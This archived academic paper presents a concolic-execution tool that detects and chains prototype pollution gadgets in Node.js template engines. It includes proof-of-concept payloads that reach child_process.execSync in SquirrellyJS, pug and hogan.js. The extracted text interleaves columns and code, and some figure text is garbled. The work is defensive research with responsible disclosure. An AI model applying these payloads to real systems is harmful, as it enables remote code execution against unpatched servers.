--- type: Whitepaper title: "Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines for Malicious Consequences" description: "Prototype pollution gadgets found by prior work are direct: a polluted property flows straight to a sink. This paper defines chained gadgets, in which one polluted undefined property alters the control- or data-flow of another, and builds a concolic-execution framework that treats undefined properties as symbols in order to detect and chain them. Applied to Node.js template engines it reports 25 zero-day gadgets, 13 of them chained, reaching code-execution and XSS sinks." resource: "https://yinzhicao.org/UoP/UoP-Oakland.pdf" tags: [whitepaper, webseclist-reference, prototype-pollution, nodejs, javascript, gadget-chain, rce, dynamic-analysis, tooling, xss, owasp-a03-2021, owasp-a08-2021] generated: by: webseclist-refs/1 at: "2026-08-11T17:37:24+00:00" status: stable stale_after: 2027-08-11 sources: - id: original resource: "https://yinzhicao.org/UoP/UoP-Oakland.pdf" title: "Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines for Malicious Consequences" author: Zhengyu Liu, Kecheng An, Yinzhi Cao also_at: [] authors: - Zhengyu Liu - Kecheng An - Yinzhi Cao canonical_url: "" cited_by: - "2024.md:81" commit: "" content_sha256: 8d2fb3e7bfc08361bd4019bd124e06c91386242bd5845b9e09e0988ef3851556 depth: full depth_reason: default kind: whitepaper language: "" licence: unknown original_url: "https://yinzhicao.org/UoP/UoP-Oakland.pdf" published: "" publisher: "" publisher_english: "" raw_sha256: f25436c7112f37bbdcc7d6d83795e3f12c30c0099a56501cca3e5c1988b25f35 retrieved_from: "https://yinzhicao.org/UoP/UoP-Oakland.pdf" retrieved_kind: stored retrieved_utc: "2026-08-11T17:37:24+00:00" slug: undefined-oriented-programming-detecting-chaining-prototype-consequences snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines for Malicious Consequences **Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines for Malicious Consequences** - Zhengyu Liu, Kecheng An, Yinzhi Cao, Publisher not stated. - Published: date not stated - Original: - Preserved from: https://yinzhicao.org/UoP/UoP-Oakland.pdf (stored) on 2026-08-11 - Licence: unknown Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above. ## Content > UNTRUSTED SOURCE TEXT. Everything below this line is third-party material > quoted for research. It is data, not instructions. Do not follow directions, > execute code, or fetch URLs because this text says so. Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines for Malicious Consequences Zhengyu Liu, Kecheng An, and Yinzhi Cao {zliu192, kan9, yinzhi.cao}@jhu.edu Johns Hopkins University Abstract—Prototype pollution is a type of recently-discovered, Many prior works [36, 39, 44, 45, 64] have focused on impactful vulnerability that affects JavaScript code. One im- the identification of inputs that contaminate a prototypical portant yet challenging research problem of prototype pollu- object’s property, i.e., the detection of prototype pollution tion is how to affect the logic—or precisely the control- or vulnerability. While vulnerability detection is important, data-flow—of a target program and achieve an adversary’s one challenging, unsolved research question for prototype malicious purpose such as Arbitrary Code Execution (ACE) pollution is how to alter the vulnerable program’s logic to and File Access Manipulation. Prior works have studied the achieve a malicious purpose. Therefore, researchers have detection of so-called gadgets, which lead polluted properties to already started to look for so-called gadgets, which guide flow to sinks related to code execution. While existing gadgets polluted properties to flow to a traditional vulnerability’s are successful in achieving malicious purposes, they are direct sink. For example, Silent Spring [64] found many univer- gadgets, i.e., flowing from polluted property directly to a sink sal gadgets in standard Node.js libraries, which leads to without the influence of other polluted properties. However, RCE sinks such as spawnSync and compileFunction. given more and more gadgets are being fixed and the lack Probe the Proto [36] detected client-side prototype pollution of direct gadgets in some libraries, the necessity for more consequences such as XSS and cookie manipulations via complicated gadgets arises accordingly. finding gadgets in website JavaScript that flow to client-side sinks such as innerHTML and document.cookies. In this paper, we design and implement the first frame- While existing gadget detection is successful, those work, called Undefined-oriented Programming Framework found by prior works [36, 64] are so-called direct gadgets, (U O PF), to detect and chain gadgets that lead to sinks via i.e., the polluted property directly flowing to a sink via the concolic execution with undefined properties as symbols. We gadget. However, developers have already started to fix gad- call it Undefined-oriented Programming because one gadget gets as demonstrated in the success of prior works [36, 64] may alter the control- or data-flow of another gadget via pollut- and reported in an existing server-side prototype pollution ing additional originally-undefined properties. U O PF generates repository [62]. Moreover, sometimes direct gadgets may both prototype pollution and normal program inputs to guide not exist in certain scenarios, e.g., the lack of use of certain concolic execution to reach sinks. Our evaluation on Node.js gadget-related APIs of Node.js standard libraries. This raises template engines shows that U O PF detects 25 zero-day gadgets the need for more complicated gadgets from the adversary’s that existing works cannot detect and 13 of them are chained perspective. Specifically, adversaries can exploit indirect ones. We responsibly report these gadgets to their developers gadgets involving multiple undefined properties, e.g., one and five gadgets have already been fixed. We also compare gadget alters the control- or data-flow of another gadget, U O PF with Silent Spring, the state-of-the-art gadget detection which then flows to the sink. Those gadgets—some of which tool and our evaluation shows that U O PF outperforms Silent have already been discovered manually as shown in our Spring significantly in both false positive and negative rates. collected dataset (Section 5.1.1)—are thus called chained gadgets in the paper. The term chained gadgets for JavaScript prototype pollu- 1. Introduction tion is coined by us from similar concepts in other languages or domains such as binary, Java, or PHP. For example, from Prototype pollution is a relatively new vulnerability [17] a long time back, people have designed Return-oriented that allows an adversary to contaminate a property of a Programming (ROP) [55] that chains different assembly prototypical object in JavaScript, which further alters the gadgets via return instructions. More recently, gadgets are vulnerable program’s logic for the adversary’s purpose. Such designed and chained for high-level languages such as PHP vulnerabilities are widely-spread—as found in thousands of [52] and Java [21, 22] in generating Object Injection Vul- Node.js packages [44, 45] and real-world websites [36]— nerability (OIV) exploits. However, the chaining methods and more importantly severe, leading to consequences such are different for vulnerabilities in different programming as Remote Code Execution (RCE) [64] and Cross-site languages: binary-level gadgets are chained based on return Scripting (XSS) [36]. instructions and PHP or Java gadgets are chained based on method polymorphism during deserialization. Instead, gadgets that are not found by prior works particularly Silent JavaScript prototype pollution gadgets are chained by unde- Spring [64]. For example, 13 zero-days are chained gadgets fined properties, which are different from gadget chaining that need U O P to reach the final sink. We responsibly in ROP or OIV. reported all our zero-day gadgets to the template engine In this paper, we design and implement the first auto- developers and so far five zero-day gadgets have already mated framework, called Undefined-oriented Programming been fixed. Framework (U O PF), to detect and chain prototype pollution To summarize it, we make the following contributions: gadgets for malicious consequences via concolic execu- • We design and implement a system, called U O PF, to tion of JavaScript programs with undefined properties as detect not only direct but also chained gadgets in Node.js symbols. The term Undefined-oriented Programming—as programs, particularly zero-day ones in template engines. borrowed from Return-oriented Programming—allows one • We come up with the first taxonomy for prototype pol- gadget to alter the control- or data-flow of another gadget by lution gadget chaining: We show gadgets can be control- assigning originally undefined properties in JavaScript via /data-flow dependent or vertically/horizontally chained prototype pollution, thus being chained together. Our obser- based on the payload structure. vation is that gadget chaining needs two types of inputs, • We curated the first Node.js template engine gadget one as normal program inputs and the other as prototype dataset with many gadgets chained with control- or data- pollution inputs. Our key insight is also two-fold based on flow dependencies. the construction of these two types of inputs. On one hand, U O PF extracts inputs that are from test cases and have the 2. Overview potential to trigger sinks as normal program inputs. On the other hand, U O PF gradually extracts additional undefined In this section, we first describe a motivating example properties with control- or data-flow dependencies on initial and then present a gadget taxonomy. gadgets, marks them as symbols, and eventually guides the concolic execution to reach sinks. Our implementation 2.1. A Motivating Example of U O PF is open-source and available at this anonymous repository (https://anonymous.4open.science/r/UoPF). Listing 1 illustrates a motivating example of zero-day We also present the first taxonomy of chained gadgets chained gadgets found by U O PF in SquirrellyJS v8.0.8, based on either the prototype pollution payload or the de- a Node.js template engine that generates client-side code. pendencies. On one hand, we show that gadgets could be Note that we reported the gadget chain to the developer, either vertically- or horizontally-chained: The former allows who acknowledged the issue and fixed the gadget chain one gadget to be chained with itself with different embedded in the latest version of SquirrellyJS. Below, we start with payloads and the latter allows two different gadgets to be describing the workflow of SquirrellyJS for the client-code chained. On the other hand, we show that one gadget could generation with a template. First, SquirrellyJS accepts some have either control- or data-flow dependency on the other: options from the data argument in renderFile function The former allows one gadget to change another’s control- (Line 2) and then calls compile (Line 3, not shown in flow, thus possibly leading to a sink or another gadget; the the code). Second, the compile function (Lines 34–37) latter allows one gadget to patch errors introduced in the converts a given template (str) to a JavaScript Function data-flow for another gadget during prototype pollution. object, which is also the remote code execution (RCE) Next, we curate the first dataset of existing Node.js sink. More specifically, the parse (Line 6) function (which template engine gadgets that are found manually by people. calls parseContext, Line 11) converts the template into Specifically, we extensively surveyed top Node.js template Abstract Syntax Tree (AST) based on given options and engines and studied their repository (e.g., Github issues) to compileScope converts the AST to a function body find previously-reported or fixed prototype pollution chains. under the correct scope. The complete code can be found Note that we choose Node.js template engines as our target in Appendix A for those who are interested. for gadget detection instead of standard Node.js libraries in We now describe the chained gadgets found by U O PF. Silent Spring [64] or JavaScript code from real-world web- The first gadget starts from currentBlock.n at Line sites in Probe the Proto [36] because template engines are 26 in compileScope function, which is undefined not only less studied for gadgets in the research community if name is not provided. That is, when the n property is but also commonly-used server-side code just like libc polluted in a prototype pollution scenario, the polluted value for C/C++ in Return-oriented Programming. We compare flows to the returnStr string (Line 28) and then finally U O PF with Silent Spring on this dataset: Silent Spring only to the sink at Line 36. An example payload is shown at Line detects one out of 15 gadgets as opposed to 10 out of 15 for 4 of Listing 2. While the first gadget is valid, one difficulty U O PF because dynamic features (which are hard for static is that type does not equal to ’s’ at Line 27 in normal analysis) are heavily used in template engines and some execution and therefore the program does not even reach gadgets are chained. Lines 28 and 29. We also evaluate the capability of U O PF in detecting Therefore, a second gadget is needed, starting from zero-day gadgets upon popular Node.js template engines. ’view options’ at Line 2, another undefined prop- Our evaluation results reveal 25 zero-day prototype pollution erty when accessing data.settings. The prefixes 1 function renderFile(filename, data, cb) { In other words, these two gadgets are chained together at 2 var viewOpts = data.settings[’view options’]; Line 27: The second gadget changes the control-flow of the 3 ... // calls "compile" function 2nd Gadget first, which leads to the final RCE sink. 4 } 5 Note that this is a challenging task for existing works, 6 function parse(str, env) { such as Silent Spring [17], to detect such chained gadgets. 7 var envPrefixes = env.prefixes; 8 ... // calls "parseContext" function The reason is that Silent Spring only detects single gadgets, 9 } env (Line 7) == viewOpts (Line 2) called universal gadgets in their paper, which directly leads 10 to RCE sinks without any chaining. Specifically, Silent 11 function parseContext(parentObj, firstParse) { 12 ... Spring only detects the first gadget but not the second in 13 for (var key in envPrefixes) { their static analysis. Therefore, it cannot generate a working 14 if (envPrefixes[key] === prefix) { 15 prefixType = key; exploit to change the control flow because the first gadget 16 break; depends on the second one. It is worth noting that Lines 17 } key (Line 13&15) in envPrefixes (Line 7) 27–29 are originally dead code because type never equals 18 } 19 currentObj.t = prefixType; ’s’ during normal execution. 20 ... Instead, U O PF can detect these two chained gadgets 21 } prefixType (Line 19) == type (Line 27) 22 because U O PF marks all the undefined properties as 23 function compileScope(buff, env) { symbols and guides the program execution towards the RCE 24 for (let i; i < buffLength; i++) { sink via solving constraints. Specifically, the viewOpts at 25 var type = currentBlock.t; 1st Gadget 26 var name = currentBlock.n || ’’; Line 2 and then the property under viewOpts.prefixes 27 else if ( type === ’s’ ) { RCE Payload are both marked as symbols. Then, U O PF solves the con- 28 returnStr += ’tR+=’ \ 29 + "c.l(’H’,’" + name + "’)...";} straints based on type===’s’ at Line 27, which leads the 30 } first gadget to flow to the RCE sink at Line 36. 31 return returnStr; 32 } Flowing to the sink (new Function) 33 2.2. Gadget Relation Taxonomy 34 function compile(str, env) { 35 /* sink: function constructor */ 36 return new Function(options.varName, ’c’, ’cb’, In this subsection, we describe the first taxonomy of compileToString(str, options) ); chaining gadget relations. For example, Listing 1 has two 37 } 38 function compileToString(str, env) { horizontally-chained, control-flow gadgets. The reasons are 39 var buffer = parse(str, env); as follows. First, these two undefined properties of gad- 40 var res = ’...’ + compileScope(buffer, env) + ’...’ gets are located in two different parts of the code (Line 2 41 return res; 42 } and Line 26), thus called “horizontally-chained”. Second, Listing 1: A motivating example of zero-day chained the second gadget changes the control-flow of the program, gadgets found in Squirrellyjs template engine. Note that the leading to the success of the first gadget. Therefore, we call code is simplified for the purpose of explanation. them control-flow gadgets. We believe that such a taxonomy will shed light on future research on better detection of 1 var sqrl = require(’squirrelly’) 2 const path = require(’path’) prototype pollution gadgets and even manual exploitation 3 /* Prototype Pollution */ of prototype pollution vulnerabilities. 4 Object.prototype.n = "each’)\nprocess.mainModule. In the rest of the subsection, we first give a definition require(’child_process’).execSync(’sleep 10’);\n//" ; // 1st Gadget Input of a gadget and then describe such relation taxonomy. 5 Object.prototype.settings = { 6 ’view options’:{ 7 prefixes: { 2.2.1. Gadget Definition. We define a prototype pollution 8 s: ’’, gadget in Definition 1 below. 9 } 10 } Definition 1. [Prototype Pollution Gadget] A gadget— 11 }; // 2nd Gadget Input 12 /* Template generation*/ under the context of a JavaScript prototype pollution 13 templatePath = path.join(__dirname+’/views/’, ’each. vulnerability—is defined as a code snippet containing a sqrl’); dataflow, starting from an “undefined” property and flowing 14 sqrl.renderFile(templatePath, { kids: [’Ben’, ’Polly’, ’Joel’, ’Phronsie’, ’Davie’] }); to a sink, which could be a function leading to remote Listing 2: Prototype pollution exploit inputs for the chained code execution or a statement with control- or data-flow gadgets in Listing 1. dependency on another gadget. We want to discuss two observations here. First, a gadget of this data.settings[’view options’] object is always starts from an undefined property because of the further accessed at Line 7 and then all the properties of nature of a prototype pollution vulnerability, which affects data.settings[’view options’].prefixes are undefined properties by injecting the same property under looped through in Lines 13–18. One property propagates to a prototypical object along the prototype chain. Such an Line 19 as prefixType and then to Line 27 as type. If undefined property access could be either a direct lookup one property under envPrefixes equals s, the condition (like obj.prop) or a looped lookup (like for prop in at Line 27 is satisfied for the completion of the first gadget. obj). In the case of a direct lookup, the undefined property 1 // Exploit Code 1 // Exploit Code 2 Object.prototype.block = { 2 Object.prototype.name = ’somevalue’; 3 type: "Code", 3 Object.prototype.inject = "},flag:process.mainModule. 4 val: "process.mainModule.require(‘child_process‘). require(‘child_process‘).execSync(‘sleep 10‘). execSync(‘bash -c ’sleep 10’‘)", toString()}}//" 5 block: { // vertical payload 4 6 type: "Comment", 5 // hogan.js/lib/compiler.js 7 val: "End the visiting node process" 6 function stringifyPartials(codeObj) { 8 } 7 var partials = []; 9 } 8 for (var key in codeObj.partials) { 10 9 partials.push(’"’ + esc(key) + ’":{name:"’ + esc( 11 // pug-walk/index.js 2nd Gadget codeObj.partials[key].name ) + ’", ’ + 12 function walkAST( ast , before, after, options) { stringifyPartials(codeObj.partials[key]) +"}"); 13 ... 10 } 14 switch ( ast.type ) { ... 11 return "..." + stringifySubstitutions(codeObj.subs); 15 case ’Code’: /* return value flows to the sink afterward */ 16 if ( ast.block ) { 12 } 17 13 18 ast.block = walkAST( ast.block , before, after, 14 function stringifySubstitutions(obj) { options); 15 var items = []; 19 } 16 for (var key in obj) { 1st Gadget 20 break; 17 items.push(’"’ + esc( key ) + ’": function(c,p,t,i) 21 case ’Comment’: {’+ obj[key] + ’}’);} 22 break; 18 return "{ " + items.join(",") + " }"; 23 } 19 } 24 } Listing 4: An example showing gadgets with data-flow Listing 3: A vertically-chained gadget example simplified dependencies (The 2nd gadget payload at Line 2 is also from pug v3.0.2. called a patching property because it patches the program’s dataflow). could be further used in an if statement or an operator like || (e.g., obj.prop || ’’). Another thing worth the recursion at Line 18 will be infinite. Instead, the nested noting is that the undefined property also depends on structure changes the control flow from the ‘Code’ case at the program inputs, i.e., the property could be undefined Line 15 to the ‘Comment’ case at Line 21, thus breaking in one run with certain inputs but defined in another run the recursive call. with different inputs. That is, the existence of gadgets is • Horizontally-chained Gadgets. Such gadgets have par- conditional, which depends on program inputs. allel payload structure, which triggers different gadgets Second, a gadget ends with a sink, which could be a with different inputs. Listing 2 is an example with sink (like a Function constructor or eval) or a statement horizontally-chained gadgets. related to another gadget. In the former case, the gadget is the final one that leads to the consequence like RCE; in Gadget Dependency Classification. We also classify gad- the latter case, the gadget affects the control- or data-flow get relations based on their own connections, i.e., how one of another gadget so that the other gadget may reach its gadget affects another. Note that these two classifications are own sink. The chaining of two or more gadget is defined as orthogonal, i.e., two gadgets can be vertically/horizontally- Undefined-oriented Programming (U O P) because the pol- chained with either control- or data-flow dependencies. luted value upon an originally undefined property chained • Control-flow Dependent Gadgets. When we say two gadgets together. gadgets have a control-flow dependency, one gadget af- fects the control-flow of the target program, thus leading 2.2.2. Chained Gadget Relations. We now describe rela- to the second gadget. Both Listings 1 and 3 show gadgets tions between different gadgets based on two classification with control-flow dependencies. The former (Listing 1) criteria, the payload (i.e., prototype pollution inputs) and the shows that the second gadget changes the control flow gadget dependency. at Line 27, thus leading to the first gadget. The latter Gadget Payload Classification. We classify gadget rela- (Listing 3) shows that the nested structure changes the tions based on the payload that triggers the gadgets. control flow at Line 14 so that the infinite recursive call • Vertically-chained (Self-chained) Gadgets. Such gad- is broken out. gets have nested payload structure, which triggers the • Data-flow Dependent Gadgets. When we say two same gadget multiple times with different inputs, thus gadgets have a data-flow dependency, one gadget affects called self-chained as well. Listing 3 shows an exam- the data-flow of the target program and subsequently the ple of a vertically-chained gadget. Lines 2–10 show the second gadget. Listing 4 shows such an example. The payload, which has a top-level polluted block property first gadget is part of a for-in loop that eventually (Line 2) and another nested polluted block property flows to the sink function via Line 17 and Line 10. The (Line 5). Lines 12–24 show the gadget: ast.block is existence of the first gadget is not enough for the exploit, the undefined, which is accessed recursively in the because the program’s dataflow is broken at Line 8 where walkAST function. Note that such a nested structure is the name property is undefined. Therefore, we need a needed because otherwise if the same input is provided, second gadget payload (Line 2) to patch the program’s dataflow and therefore such a gadget payload is also called all possible targets (which could be, for example, all func- a patching property. tions under a resolved object). Note that this approach is not sound in call graph generation despite its overapproxima- tion, because additional code (and thus funciton calls) may 3. Design be introduced via functions like eval and a Function constructor. At the same time, note that this will not affect In this section, we start by describing the overall system U O PF because these functions are all considered as sinks architecture of the U O PF framework. Then, we present the in our analysis. detailed design of two phases of U O PF. Once U O PF has an overapproximated call graph, U O PF queries the call graph to determine whether there exists a 3.1. System Architecture call path between exported APIs and sinks and records such exported APIs. The rationale is that U O PF only needs to Figure 1 shows the overall architecture of U O P frame- test those exported APIs with call paths to sinks, because work (or for short U O PF) with three phases. First, in Phase otherwise no normal or prototype pollution inputs can reach (a), U O PF produces a Program under Testing (PuT), which the sink to achieve the purpose of remote code execution. consists of three parts: (1) a target Node.js program (i.e., Second, U O PF staticly analyzes test cases of the target a template engine), (2) normal inputs to the program (i.e., Node.js program to find those that invokes the APIs found template inputs), and (3) prototype pollution inputs, which in the first step. U O PF also prunes existing test cases to are represented as symbols for Phase (b). Second, in Phase remove unnecessary API invocations (i.e., those unrelated (b), U O PF concolicly executes the PuT from Phase (a) via to sinks) via static data-flow analysis. The purpose is to exploring different paths related to the prototype pollution keep the normal inputs concise for the follow-up concolic inputs. U O PF not only solves constraints related to the execution. current symbolic prototype pollution inputs, but also records additional undefined values encountered during concolic ex- 3.2.2. Prototype Pollution Input Generation. The gen- ecution for the next run. Lastly, in Phase (c), if the previous eration of prototype pollution inputs also has two steps: concolic execution reaches a sink function, U O PF outputs (i) initial identification of undefined properties with given the current gadgets and the prototype pollution outputs based normal inputs, and (ii) scheduling undefined properties for on constraint solving results; if not, U O PF adds additional prototype pollution inputs. undefined values to the undefined pool and lets the scheduler to select additional prototype inputs for a repeat of Phase Undefined Property Identification. U O PF runs the target (a) and Phase (b). Node.js program with each set of normal inputs using an Note that a target Node.js program has two categories of instrumented Node.js runtime to record undefined property inputs: one from the normal program inputs, and the other lookups. Specifically, U O PF adds additional checks to com- from prototype pollution. Both are important in finding and pare returned values of each property lookup with undefined chaining prototype pollution gadgets: the former determines at the bytecode level. If a property is undefined, U O PF which properties are undefined and whether there are po- jumps to additional code that logs both the property name tential to reach the sink; the latter determines how to reach and contextual information such as the source code position the final sink. First, U O PF generates normal inputs based and then resumes the original execution of the bytecode. on existing test cases of Node.js programs and selects such After the run, U O PF obtains an initial pool of all the inputs based on potential call paths to the sink. Second, undefined properties for a given set of normal inputs with- U O PF treats prototype pollution inputs as symbols and out any prototype pollution inputs. Then, during concolic guides the program execution based on constraint solving execution, U O PF will find additional undefined properties to determine whether the sink can be reached based on with either control- or data-flow dependencies, which are different input values. added to the pool again and scheduled for further concolic execution. We describe the scheduling process below. 3.2. Phase (a): Input Generation Undefined Property Scheduling. The high-level idea is to loop through all the initial undefined properties one by We describe the generation of two types of inputs in one and append control- or data- dependent properties that Phase (a). identified during concolic execution for the scheduling of each initial undefined property. We describe the scheduling 3.2.1. Normal Input Generation. The generation of nor- of these two types of properties below: mal inputs has two steps: (i) static call graph analysis of • Control-flow Dependent Properties. U O PF associates target Node.js program to find related APIs, and (ii) static the control-flow dependent property with the initial un- analysis and pruning of test cases to generate inputs. defined property and marks it as symbols for concolic First, U O PF generates an overapproximated call graph execution. Let us describe the process with our motivat- of the target Node.js program staticly. That is, if a call edge ing example in Listing 1. U O PF starts with the ’view cannot be resolved staticly, e.g., those related to dynamic options’ property of data.setting as a symbolic invocation, U O PF overapproximates the call edge by adding value, which is one of the initial undefined properties. !"#$%&'#()&*+,-.&/%+%0#.12+ !"#$%&'4()&52+62716&89%6-.12+ 18% J)K';*;6( ?80*,2;@)-$ +,-)./0 !"#$%&'()*$+,-)./0$ A6-)B6)-$ <=C)-84)' 560*'82)6*)-$ !"#D$!3#$&6-$ 18% 1',('&2 1,,4 !9#$&0$ 1',('&2$ +,-)./0$ 86-)'$ ?,6=,4;=$ <*&*;=$ !3#$+,'2&4 !9#$1',*,*:7)$ '86*;2) %)0*;6($ E&';&F4)$ >6&4:0;0 5678*0 1,448*;,6$5678*0 !!-3( ?,60*'&;6*0 G7)'&*;,60$,'$ <,4I)' ?,6=')*;@&*;,6 %)0*$?&0)0 >6,*C)'$'86$,H$;678*$()6)'&*;,6 >--;*;,6&4$ A6-)B6)-$ !"#$%&'6:;()&<%,%#.1+= 1',7)'*;)0 !"#$%&'6:>()&?-.,-.&/#@=%.$ Figure 1: System Architecture Then, the concolic execution reports an additional prop- cludes string, number, boolean, arrayOfNumber, erty, i.e., the n of currentBlock, and U O PF schedules arrayOfString, arrayOfBoolean and object. The this control-flow dependent property for the concolic ex- support of the first six types is standard as previ- ecution for the next run. ous constraint solvers (e.g., Z3 [27]) do. U O PF sup- • Data-flow Dependent Properties. U O PF first reads all ports the object type via a unique object named previous data-flow dependent properties associated with symbolicObject. Each field within this object is ei- the initial undefined property, appends the solved values, ther an individual concolic variable or another nested and then marks new properties as symbols for concolic symbolicObject. U O PF adopts a lazy initialization ap- execution. Let us describe the process with our example proach for the fields of the symbolicObject based on in Listing 4. U O PF starts with the for...in loop where which fields are accessed during concolic execution. U O PF the key variable is in the initial undefined pool and also supports an unknown type, called pureSymbol, marked as a symbolic value. Then, concolic execution which indicates that the current type is undecided. Second, a reports name as an additional undefined property with a concolic variable has a concrete value according to the type. data-flow dependency (because the execution will report Such a concolic value is computed from the symbolic ex- an error). The scheduler of U O PF will additionally add pression and satisfies the corresponding constraints. Lastly, the value of the name property as a symbol. a concolic variable has a symbolic expression together with its constraints. Such an expression is deduced from concolic 3.3. Phase (b): Concolic Execution variable operations and constraints are collected during con- colic execution from conditional expressions. We describe how U O PF concolicly executes a PuT with Operations. During concolic execution, a concolic variable both normal and prototype pollution inputs. Specifically, may encounter another concolic or concrete variable, and U O PF first rewrites a given PuT to incorporate operations U O PF defines the following operation. Specifically, U O PF and concretization for concolic variables and then runs the first converts a concrete variable to concolic, i.e., the type as rewritten PuT on Node.js runtime to detect gadgets. In the the concrete type and both the concrete value and expression rest of the section, we first describe concolic variables and as the concrete value. For example, a string “ab” is rep- then present constraint solving procedural with concolic resented as ConcolicVar(string, “ab”, “ab”). Next, variables involved. U O PF performs operations on three elements of involved concolic variables, i.e., matching the type and then calcu- 3.3.1. Concolic Variable. We first give a formal definition lating both the concrete value and the symbolic expression. of a concolic variable of U O PF in Definition 2. Definition 2. [Concolic Variable] A concolic variable is • Resolving PureSymbol: Type Inference. U O PF re- defined as a triple, i.e., a variable type, a possible con- solves concolic variables with PureSymbol via type crete value, and a symbolic expression together with its inference. Specifically, there are three methods. (i) If constraints, or more precisely the following representation: PureSymbol is involved in a binary operation such as plus, U O PF infers the type of PureSymbol based on the other operand. (ii) If PureSymbol is involved in a ConcolicVar(Type, Concrete Value, Symbolic property lookup, U O PF infers the type based on a white Expression&Constraint) list of properties defined in different variable types. For There are three elements in a concolic variable. First, example, obj.sort likely indicates that obj is a type of a concolic variable has a type, such as a string, which Array. (iii) If U O PF cannot resolve PureSymbol using can be used for follow-up constraint solving. U O PF cur- the aforementioned two methods, U O PF default the types rently supports seven concrete variable types, which in- to string, object, and arrayOfString, because TABLE 1: A breakdown of gadgets in the Node.js template 1 let obj = {...}; 2 let obj2 = []; engine dataset curated by us. 3 for (let i in obj){ 4 if (obj[i] === ’hiddenValue’){ Gadget Type Number of Gadgets 5 obj2.push(i); 6 } Direct Gadget 12 7 } Chained Gadget 3 8 for (let j of obj2){ 9 if (j === ’hiddenKey’){ Data-flow dependent Gadget 2 10 throw ’success’; Control-flow dependent Gadget 1 11 } Total 15 12 } Listing 5: An example illustrating the co-existence of both concolic property and value. value as ‘hiddenValue’; then, at Line 9, U O PFsolves the property as ‘hiddenKey’. Lastly, U O PF merges both only these types can carry malicious payloads like RCE ‘hiddenValue’ and ‘hiddenKey’ into one concolic payloads. variable with symbolicObject type. • Resolving Type Conflicts: Type Coercion. U O PF re- solves type conflicts involving concolic variables via 4. Implementation type coercion. Consider the following example: 1 + ConcolicVar(string, “a”, s). U O PF coerces 1 to We implemented an open-source version of U O PF in this a string type and then outputs ConcolicVar(string, anonymous repository (https://anonymous.4open.science/r/ “1a”, (+, (s, “1”)) with both the concrete value UoPF). The total implementation has 5,279 Lines of new and the symbolic expression updated. Detailed type co- Code, excluding any third-party libraries. We now describe ercion rules are listed in Appendix C, which follows the different components of U O PF. First, our static analysis in JavaScript convention. analyzing Node.js programs and test cases is based on Cod- Concretization. When an operation related to a concolic eQL [31] with 827 Lines of Code. Second, our customized variable is not feasible due to the lack of modeling of the Node.js is an instrumentation of Google’s V8 JavaScript operation, U O PF chooses to concretize the concolic variable engine with 48 Lines of Code. Specifically, we modified using its concrete value and introduces a new concolic LdaNamedProperty and LdaKeyProperty bytecodes variable for the returned result. Consider a function called and instrumented their bytecode handlers in Ignition, i.e., addWith, which is an external function heavily used by V8’s internal interpreter. Lastly, our concolic execution is the template engine from a third-party with package [14]. based on ExpoSE [49, 50], a dynamic symbolic execution The addWith function takes a code string as input and engine for JavaScript, with 4,404 Lines of new Code. Since wraps it in a new scope that allows access to certain local ExpoSE has limited support of ES6 features, U O PF relies variables. It is challenging to model such functions using on Bable [2] to convert code to be ES5 compatible before concolic operations due to the heavy involvement of string code rewriting. operations. Therefore, U O PF directly invokes such functions on the concrete value and introduces new concolic variables. 5. Evaluation 3.3.2. Constraint Solving. When U O PF concolicly exe- We structure our evaluation of U O PF around the follow- cutes a PuT, U O PF may encounter conditional statements ing four research questions: in which the condition depends on a concolic variable. If so, U O PF resorts to a constraint solver to find a concrete • RQ1 [Zero-day]: How many zero-day gadgets can U O PF value for the variable. For example, say the statement is detect but state-of-the-art approaches cannot? if(obj.prop===’a’) where prop is undefined. U O PF • RQ2 [FN&FP]: What are U O PF’s false negatives (FNs) considers obj.prop as a concolic variable and solves its and false positives (FPs) compared to the state-of-the-art concrete value as ‘a’ according to the constraint. approach? One challenging case is that both the property and the • RQ3 [Performance]: How long does it take for U O PF to value are unknown and concolic. In such a case, U O PF find and chain gadgets with exploit code? marks both as concolic, solves contraints separately, and • RQ4 [Coverage]: How effective is U O PF in exploring then merges them under one symbolicObject. Listing 5 new undefined properties and analyzing new execution shows such an example. The first for loop at Line 3 paths? could access an unknown property and therefore the variable i could be undefined, i.e., being a prototype pollution input and thus concolic. At the same time, the value of 5.1. Experimental Setup obj[i] is unknown and thus concolic as well. That is, U O PF introduces two separate concolic variables. Next, We describe our experimental setup including the dataset when U O PF concolicly executes Line 4, U O PF solves the curation, our experimental environment, and baselines. 5.1.1. Dataset. We describe the procedure in curating the 5.2. RQ1: Zero-day Gadgets first Node.js template engine gadget dataset as the following four steps. In this section, we answer the research question on zero- • Step I: Survey of popular template engines. We in- day gadgets that U O PF can detect in real-world template en- cluded 40 template engines from the consolidate.js repos- gines. Specifically, we run U O PF upon the 40 template en- itory [32], an extensive collection of the most widely-used gines (as documented by the consolidate.js repository [32]) template engines in Node.js. in their latest versions on February 2023 and U O PF reports • Step II: Study of Github issues. We manually searched 21 zero-day gadgets. We also run Silent Spring on the same for issues in each template engine’s GitHub repositories template engines, which only report one zero-day gadget. using keywords such as prototype, pollution, and Therefore, we have 20 zero-day vulnerabilities that can be security. In total, we found four issues [3, 9, 10, 11] uniquely detected by U O PF. related to prototype pollution gadgets in total. Table 2 summarizes the statistic about all the zero-day • Step III: Study of blogs related to each template engine. gadgets that can be uniquely found by U O PF. The first We manually searched Google for technical blogs related three columns present the name, version, and scale (Line to each template engine and prototype pollution. The same of Code) of the library. The fourth column shows the name keywords together with the template engine’s names are of the entry API, which is usually the entrance for the used in the search. In total, we found nine blog posts [1, given template engine, and the fifth column the required 5, 6, 7, 8, 12, 13, 15, 16] related to prototype pollution template input, where “uncond” means no specific inputs gadgets in total. are required. Otherwise, a specific input may be needed, • Step IV: Curation of the dataset. We curate the dataset such as an array of image tags like Line 5 in Listing 6 to using all the collected information by downloading the trigger gadgets in dustjs@3.0.1. The sixth column describes corresponding template engine version and generating the the undefined properties exploited in the gadgets, and the corresponding gadget. We manually verified each gadget seventh column describes how the gadget chain falls into our before adding one into the dataset. our taxonomy (Section 2.2). We first break down gadgets In total, we collect 15 known 